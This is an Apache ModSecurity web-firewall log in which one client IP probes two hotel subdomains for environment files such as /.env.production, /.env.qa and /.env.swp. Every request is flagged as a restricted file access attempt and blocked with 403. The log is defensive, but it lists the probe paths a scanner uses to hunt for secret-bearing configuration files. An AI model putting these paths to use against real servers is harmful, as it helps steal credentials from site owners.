[Sun Oct 25 04:06:21.841319 2026] [security2:error] [pid 2775712:tid 2775712] [client 93.123.109.247:20778] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at24fQLaiqtlZaJBsx4XzAAAAA0"]
[Sun Oct 25 04:06:21.841524 2026] [security2:error] [pid 2775712:tid 2775712] [client 93.123.109.247:20778] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at24fQLaiqtlZaJBsx4XzAAAAA0"]
[Sun Oct 25 04:06:21.841832 2026] [security2:error] [pid 2775712:tid 2775712] [client 93.123.109.247:20778] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at24fQLaiqtlZaJBsx4XzAAAAA0"]
[Sun Oct 25 04:06:21.855750 2026] [security2:error] [pid 2781507:tid 2781507] [client 93.123.109.247:20818] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.project"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.project"] [unique_id "at24fZ68N771hz7W4KlsRAAAAAw"]
[Sun Oct 25 04:06:21.855887 2026] [security2:error] [pid 2781507:tid 2781507] [client 93.123.109.247:20818] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.project"] [unique_id "at24fZ68N771hz7W4KlsRAAAAAw"]
[Sun Oct 25 04:06:21.856130 2026] [security2:error] [pid 2781507:tid 2781507] [client 93.123.109.247:20818] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.project"] [unique_id "at24fZ68N771hz7W4KlsRAAAAAw"]
[Sun Oct 25 04:06:21.857088 2026] [security2:error] [pid 2781523:tid 2781523] [client 93.123.109.247:20770] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.project"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.project"] [unique_id "at24fdxXWZMI2DaSlsHxMQAAABY"]
[Sun Oct 25 04:06:21.857250 2026] [security2:error] [pid 2781523:tid 2781523] [client 93.123.109.247:20770] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.project"] [unique_id "at24fdxXWZMI2DaSlsHxMQAAABY"]
[Sun Oct 25 04:06:21.857479 2026] [security2:error] [pid 2781523:tid 2781523] [client 93.123.109.247:20770] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.project"] [unique_id "at24fdxXWZMI2DaSlsHxMQAAABY"]
[Sun Oct 25 04:06:21.859175 2026] [security2:error] [pid 2781481:tid 2781481] [client 93.123.109.247:20814] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.qa"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.qa"] [unique_id "at24fS7GhhaIo05efijDHAAAAAc"]
[Sun Oct 25 04:06:21.859290 2026] [security2:error] [pid 2781481:tid 2781481] [client 93.123.109.247:20814] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.qa"] [unique_id "at24fS7GhhaIo05efijDHAAAAAc"]
[Sun Oct 25 04:06:21.859525 2026] [security2:error] [pid 2781481:tid 2781481] [client 93.123.109.247:20814] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.qa"] [unique_id "at24fS7GhhaIo05efijDHAAAAAc"]
[Sun Oct 25 04:06:21.874271 2026] [security2:error] [pid 2781524:tid 2781524] [client 93.123.109.247:20780] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.qa"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.qa"] [unique_id "at24fYHtOs-nfC4GshpRqgAAABc"]
[Sun Oct 25 04:06:21.874419 2026] [security2:error] [pid 2781524:tid 2781524] [client 93.123.109.247:20780] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.qa"] [unique_id "at24fYHtOs-nfC4GshpRqgAAABc"]
[Sun Oct 25 04:06:21.874657 2026] [security2:error] [pid 2781524:tid 2781524] [client 93.123.109.247:20780] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.qa"] [unique_id "at24fYHtOs-nfC4GshpRqgAAABc"]
[Sun Oct 25 04:06:21.890281 2026] [security2:error] [pid 2781480:tid 2781480] [client 93.123.109.247:20820] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at24farU4NwppjTEGaL6iQAAAAY"]
[Sun Oct 25 04:06:21.890441 2026] [security2:error] [pid 2781480:tid 2781480] [client 93.123.109.247:20820] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at24farU4NwppjTEGaL6iQAAAAY"]
[Sun Oct 25 04:06:21.890670 2026] [security2:error] [pid 2781480:tid 2781480] [client 93.123.109.247:20820] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at24farU4NwppjTEGaL6iQAAAAY"]
[Sun Oct 25 04:06:21.896718 2026] [security2:error] [pid 2781030:tid 2781030] [client 93.123.109.247:20806] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at24fbQKh4dfs72fmHxv9QAAAAE"]
[Sun Oct 25 04:06:21.896850 2026] [security2:error] [pid 2781030:tid 2781030] [client 93.123.109.247:20806] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at24fbQKh4dfs72fmHxv9QAAAAE"]
[Sun Oct 25 04:06:21.897079 2026] [security2:error] [pid 2781030:tid 2781030] [client 93.123.109.247:20806] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at24fbQKh4dfs72fmHxv9QAAAAE"]
[Sun Oct 25 04:06:21.898071 2026] [security2:error] [pid 2762145:tid 2762145] [client 93.123.109.247:20792] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at24fVTnwNJm6o1fQZIisQAAAAI"]
[Sun Oct 25 04:06:21.898202 2026] [security2:error] [pid 2762145:tid 2762145] [client 93.123.109.247:20792] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at24fVTnwNJm6o1fQZIisQAAAAI"]
[Sun Oct 25 04:06:21.898450 2026] [security2:error] [pid 2762145:tid 2762145] [client 93.123.109.247:20792] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at24fVTnwNJm6o1fQZIisQAAAAI"]
[Sun Oct 25 04:06:21.920236 2026] [security2:error] [pid 2775712:tid 2775712] [client 93.123.109.247:20778] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at24fQLaiqtlZaJBsx4XzQAAAA0"]
[Sun Oct 25 04:06:21.920380 2026] [security2:error] [pid 2775712:tid 2775712] [client 93.123.109.247:20778] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at24fQLaiqtlZaJBsx4XzQAAAA0"]
[Sun Oct 25 04:06:21.920682 2026] [security2:error] [pid 2775712:tid 2775712] [client 93.123.109.247:20778] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at24fQLaiqtlZaJBsx4XzQAAAA0"]
[Sun Oct 25 04:06:21.939461 2026] [security2:error] [pid 2781507:tid 2781507] [client 93.123.109.247:20818] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "at24fZ68N771hz7W4KlsRQAAAAw"]
[Sun Oct 25 04:06:21.939699 2026] [security2:error] [pid 2781507:tid 2781507] [client 93.123.109.247:20818] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "at24fZ68N771hz7W4KlsRQAAAAw"]
[Sun Oct 25 04:06:21.940066 2026] [security2:error] [pid 2781507:tid 2781507] [client 93.123.109.247:20818] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "at24fZ68N771hz7W4KlsRQAAAAw"]
[Sun Oct 25 04:06:21.940814 2026] [security2:error] [pid 2781523:tid 2781523] [client 93.123.109.247:20770] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "at24fdxXWZMI2DaSlsHxMgAAABY"]
[Sun Oct 25 04:06:21.940931 2026] [security2:error] [pid 2781523:tid 2781523] [client 93.123.109.247:20770] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "at24fdxXWZMI2DaSlsHxMgAAABY"]
[Sun Oct 25 04:06:21.941148 2026] [security2:error] [pid 2781523:tid 2781523] [client 93.123.109.247:20770] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "at24fdxXWZMI2DaSlsHxMgAAABY"]
[Sun Oct 25 04:06:21.942612 2026] [security2:error] [pid 2781481:tid 2781481] [client 93.123.109.247:20814] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.test"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at24fS7GhhaIo05efijDHQAAAAc"]
[Sun Oct 25 04:06:21.942732 2026] [security2:error] [pid 2781481:tid 2781481] [client 93.123.109.247:20814] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at24fS7GhhaIo05efijDHQAAAAc"]
[Sun Oct 25 04:06:21.942981 2026] [security2:error] [pid 2781481:tid 2781481] [client 93.123.109.247:20814] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at24fS7GhhaIo05efijDHQAAAAc"]
[Sun Oct 25 04:06:21.952566 2026] [security2:error] [pid 2781524:tid 2781524] [client 93.123.109.247:20780] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.test"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at24fYHtOs-nfC4GshpRqwAAABc"]
[Sun Oct 25 04:06:21.952799 2026] [security2:error] [pid 2781524:tid 2781524] [client 93.123.109.247:20780] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at24fYHtOs-nfC4GshpRqwAAABc"]
[Sun Oct 25 04:06:21.953134 2026] [security2:error] [pid 2781524:tid 2781524] [client 93.123.109.247:20780] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "at24fYHtOs-nfC4GshpRqwAAABc"]
